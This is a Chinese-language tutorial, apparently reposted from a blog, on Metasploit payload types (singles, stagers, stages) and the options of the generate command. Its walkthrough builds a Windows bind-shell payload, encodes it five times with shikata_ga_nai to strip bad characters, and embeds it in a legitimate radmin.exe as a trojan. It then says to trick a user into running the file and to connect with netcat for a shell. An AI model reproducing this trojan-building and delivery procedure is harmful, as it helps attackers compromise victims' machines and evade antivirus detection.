一、简介:
1.1、payload(攻击载荷):
主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等,payloads也被称为shellcode。
一般在exploit中调用payload
也可以使用 generate 命令直接生成payload
exploit是利用漏洞的一个过程和方法,最终的目的是为了执行payload(攻击代码)
1.2、Shellcode:
是一段代码(或填充数据),作为数据发送到目标服务器利用特定漏洞的代码,用于获取权限。
二、payload分类
2.1、singles(独立载荷)
可直接植入目标系统并执行相应的程序(payload:shell_bind_tcp)
2.2、stagers(传输器载荷)
2.2.1、简介:
用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。
2.2.2、特点:
为在漏洞利用后方便注入,载荷体积都非常小,且这类载荷功能都非常相似
2.2.3、分类:
bind型,需要攻击机主动连接目标端口
reverse型,目标机会反连接攻击机,提前设定好连接攻击机的ip地址和端口号
2.3、stages(传输体载荷)
2.3.1、简介:
stagers建立连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。
2.3.2、示例:
得到目标机的shell或meterpreter控制程序运行
攻击机可以在本端输入相应命令控制目标机。
三、相关命令
选项:
-E
编码
-O <opt>
弃用:“ -o”选项的别名
-P <opt>
总所需有效载荷尺寸,自动生产适当的NOP雪橇长度
-S <opt>
生成(大)Windows二进制文件时要使用的新部分名称
-b <opt>
字符列表避免示例:'\ x00 \ xff'
-e <opt>
用于使用的编码器
-f <opt>
输出格式:base32,base64,bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war
-h
显示此消息
-i <opt>
编码有效载荷的次数
-k
保留模板行为并将有效载荷注入新线程
-n <opt>
在有效载荷上预先设置[长度]大小的点头
-o <opt>
输出文件名(否则stdout)
-p <opt>
有效载荷的平台
-v
详细输出
-x <opt>
指定自定义可执行文件以用作模板
四、使用方法:
4.1、方法一:
一般的使用方法
使用exploit时,用 use 去使用的payload(即set调用各种payload)
4.2、方法二:
直接使用payload:直接用 use 使用一个payload
4.2.1、第一步:还是选择模块
#查看payload模块,也可以输入关键字然后会检索出来
use payload/
use payload/windows/shell_bind_tcp
show options
LPORT:
监听端口,也就是目标开放的端口
RHOST:
目标机器只接受某个远程主机来连接它的4444端口(目标开放的端口),限制了来源IP(不设置的话,都可以连上去获取shell)
4.2.2、第二步:直接使用payload
使用 generate 命令来生成payload
输入generate
可以获得payload的一些基本信息和设置的参数,buf 就是 payload 的16进制表示方式
4.2.3、第三步:考虑过滤坏字符
产生的payload中可能存在“坏字符”
被执行过程中会被过滤掉、或被替代,导致无法产生预期结果
eg:
缓冲区溢出中,会把 “\x00”认为是一个坏字符,导致shellcode无法执行
生成payload时(默认不使用encoder)
比如过滤掉 “\x00” 就会从已有的encoder中选择最理想的一个
也可以手动指定encoder
#显示可用的encoders
show encoders
#使用指定的encoder
generate -e x86/add_sub
坏字符太多,就需要自己手动加上去
generate -b '\x00\xff'
利用 -b 参数,后面跟上要避免出现的坏字符(也就是过滤掉)
坏字符一般不止一个
过滤掉坏字符后的payload大小也变化了
“\x00”可能由1个字节变成2个甚至更多字节去表示
4.2.4、第四步:考虑多次加密、输出格式等
#研究一下输出格式之间代码是否有区别
#输出python使用的payload
generate -f python LHOST=192.168.190.131
LHOST是填自己的
#输出python使用的payload
generate -f c LHOST=192.168.190.131
对比可以发现,其实c语言格式输出的,和python格式输出的是存在不一样的
#完整的一个输出exe文件
generate -b '\x00\xff' -f exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o /root/1.exe
打开目录位置 /root/1.exe
4.2.5、第五步:诱使用户使用程序
将exe文件拷贝/发送到目标主机上运行
4.2.6、第六步:连接目标端口
nc IP 端口号
版权归原作者 黑色地带(崛起) 所有, 如有侵权,请联系我们删除。